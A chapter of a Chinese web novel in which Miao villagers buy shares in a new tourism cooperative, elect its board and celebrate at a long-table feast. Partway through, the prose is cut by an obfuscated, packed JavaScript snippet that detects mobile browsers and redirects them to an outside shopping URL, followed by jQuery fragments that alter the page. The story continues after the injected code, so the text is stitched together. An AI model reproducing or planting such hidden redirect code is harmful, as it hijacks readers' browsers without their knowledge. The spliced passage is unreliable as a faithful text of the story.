七月初七，苗家“姊妹节”的前一天，云渺寨合作社签约仪式在百年鼓楼举行。
鼓楼中央的长桌上铺着靛蓝扎染土布，上面整整齐齐摆着三摞文件：合作社章程、入股协议、风险告知书。桌角放着一方新刻的木印——“云渺寨乡村旅游合作社”，印纽雕成一只展翅的蝴蝶。
寨子里能走动的人都来了。老人拄着拐杖坐在前排长凳上，妇女抱着孩子站在两侧，年轻人挤在门口和窗边。鼓楼里弥漫着糯米酒的甜香和山烟叶的辛辣气，但没有人喧哗，所有人的目光都盯着长桌后的石远。
石远今天穿了件半新的苗家对襟衫，是母亲连夜赶制的。他手里没有讲稿，只有一沓手写的要点卡片。
“各位乡亲，”他开口，声音在鼓楼的穹顶下回荡，“今天咱们聚在这里，不为过节，是为立约。”
他拿起合作社章程：“这份章程，是请县里的律师帮忙草拟，又请寨老们一字一句斟酌过的。一共二十八条，我念几条要紧的。”
“第一条：本合作社为全体社员共同所有，一人一票，重大事项需三分之二以上社员同意。”
“第十条：盈余分配，百分之六十按交易额返还社员，百分之三十留作公积金，百分之十为公益金，用于寨子公共事务。”
“第二十二条：社员退社自由，但需提前三个月申请，退社时按章程规定返还股金和盈余。”
他念得很慢，每一条都停顿片刻，让寨老们可以补充解释。
王阿婆听得最认真，老花镜推到额头上，眯着眼看那份放大复印的章程。吴婶不识字，就让女儿在旁边小声念给她听。
念完章程，石远放下文件：“规矩说清楚了，现在说风险。”
他拿起风险告知书：“搞旅游不是稳赚不赔。可能没人来，可能来了出事，可能投的钱三五年回不了本。这些风险，白纸黑字写在这里。现在后悔，还来得及。”
鼓楼里安静得能听见火塘里炭火的噼啪声。
第一个站起来的是王阿婆。
她颤巍巍走到长桌前，从怀里摸出那个熟悉的手帕包，一层层打开。这次里面的钱更厚了，有零有整，用橡皮筋捆着。
“我这把年纪了，还能活几年？”王阿婆的声音不大，但清晰，“钱存在箱子里，是死钱。拿出来跟大家一起干，是活钱。死了带不进棺材，活着还能看见寨子变个样。”
她把钱放在桌上：“我入二十股。”
石远接过钱，阿亮在旁边登记：“王秀英，二十股，两千元。”
接着是吴婶。她拉着女儿的手走过来，放下一沓较新的钞票：“我男人在广东打工，听说寨子要搞合作社，寄回来三千。他说，要是真能干成，他明年就回来。”
“吴翠蝶，三十股，三千元。”
玉梅夫妇一起来。丈夫搓着手，有些不好意思：“我们商量了，把准备起新房的钱先拿出来。房子晚两年盖没事，机会错过了就没了。”
“张玉梅、□□，四十股，四千元。”
一个，两个，五个，十个……
有老人拿出棺材本的，有年轻人拿出打工积蓄的，有妇女凑了绣品分红来的。钱放在桌上，渐渐堆成小山。阿亮登记的手有点抖，小禾点钱点得额头冒汗。
石远看着那些钱——有百元大钞，也有皱巴巴的十元五元，甚至还有硬币。每一张钱都带着体温，带着汗味，带着一个个家庭最深的期盼。
轮到岩旺时，他挠挠头：“我没那么多现钱，但我有力气。后山徒步线修路搭桥的活儿，我包了。这能算股不？”
石远看向寨老们。几位老人低声商议后，村长开口：“按章程，劳务可以折股。具体怎么折，合作社理事会后续商定。”
岩旺咧嘴笑了：“成！那我算一股！”
这一下开了头。后面的人纷纷说：
“我家老屋空着，能改民宿不？算我一股！”
“我会做酸鱼，游客来了我能管饭！”
“我认得山里所有的菌子，能带客人去采！”
长桌前热闹起来。石远让人把“资源入股登记表”拿出来，分门别类登记：房屋、手艺、劳动力、特产……
阿木是最后一个走过来的。
他没拿钱，而是从怀里掏出一个小布包。打开，里面是一对银镯子——苗家老银，雕着精致的蝴蝶和云纹，在火光下泛着温润的光。
“这是我阿妈留给阿雅的嫁妆。”阿木声音很沉，“阿雅说，先拿来入股。”
石远一怔，看向人群里的阿雅。她站在窗边，对他轻轻点头。
“这……”石远犹豫，“太贵重了。”
“银镯子是死的，人是活的。”阿木把镯子放在桌上，“阿雅说，要是合作社真能干成，寨子好了，她出嫁的时候，全寨都是她的嫁妆。”
这话说得朴素，却让鼓楼里不少妇女红了眼眶。
石远深吸一口气，郑重接过：“好。这对银镯，折价五千，算五十股。合作社存续期间，镯子由理事会保管，任何时候阿雅需要，原物归还。”
登记完，已是傍晚。
阿亮汇总数字：现金入股六十八户，筹得资金九万三千二百元；资源入股三十九户，折合股金约五万元。加上石远的四十万，合作社总股本五十四万余元。
石远宣布：“按照章程，现在选举合作社第一届理事会。大家提名。”
经过几轮投票，选出了七人理事会：石远任理事长，阿木、阿亮、小禾、王阿婆、村长，以及一位寨里德高望重的老教师。
随后选举监事会：三人，负责监督理事会工作，查账。
一切程序走完，天已黑透。
鼓楼中央的火塘添了新柴，火焰蹿得老高。长桌上摆起了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16846719|191383||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
长桌宴——各家各户端来的菜，凑成了几十米长的宴席。
糯米酒开坛，山歌唱起来。
第一首歌是王阿婆起的头，古老的《立寨歌》，唱的是祖先如何找到这片山水，如何伐木建屋，如何约定“有福同享，有难同当”。
老人们跟着唱，声音苍凉悠远。年轻人不会唱，就静静听着。
歌声中，石远举起酒碗：
“今天，咱们立了新约。往后，云渺寨不靠天，不靠地，靠咱们自己这一双手，靠老祖宗留下的这些山水手艺。”
“干！”
“干！”
酒碗相碰的声音清脆。火光映着一张张通红的脸，每一张脸上都有种前所未有的光亮——那是有了盼头的人才有的眼神。
宴席热闹到深夜。
石远喝得有点多，靠在鼓楼的柱子上醒酒。阿雅走过来，递给他一碗醒酒茶。
石远接过，看着她：“镯子……你真舍得？”
阿雅用手语比划：“银镯圈住的是手腕。合作社圈住的，是寨子的未来。手腕的自由，比不上心的自由。”
石远喝了一口茶，苦中回甘。
“阿雅，”他轻声说，“万一……”
阿雅摇头，打断他。她指着鼓楼里热闹的人群，指指窗外灯火点亮的寨子，最后指指自己的心口。
然后她用手语说：“没有万一。因为这次，我们在一起。”
火光在她眼中跳跃，像两簇不灭的星。
石远忽然觉得，那些关于风险的担忧，那些对未来的不确定，在这一刻都变得轻了。
因为确实如她所说——这次，不是他一个人在前冲，是整座寨子在一起走。
宴席散时，月已西斜。
合作社的文件整整齐齐锁进新打的木箱里，钥匙由理事会七人各持一把，需至少四把同时在场才能开箱。
人们互相搀扶着回家，醉话里都是对明天的想象：
“等路修好了，我带我孙子上山看瀑布……”
“民宿改好了，咱们也学学城里人，弄个啥‘管家服务’……”
“明年这时候，说不定咱寨子都上电视了……”
声音渐远，灯火渐熄。
石远最后一个离开鼓楼。他站在门口，回头看了一眼——火塘的余烬还在明明灭灭，靛蓝桌布上洒了几点酒渍，那方蝴蝶木印静静躺在桌上。
从此，云渺寨有了一个新的名字：云渺寨乡村旅游合作社。
也有了九百多个股东——不是冷冰冰的数字，是一个个有名有姓、有血有肉的人。
夜风吹过，带着山野的气息。
石远抬头，看见阿雅家的灯还亮着。窗上映出她的侧影，似乎正在画画。
他笑了笑，转身走进夜色。
路还长。
但第一步，已经稳稳地踏出去了。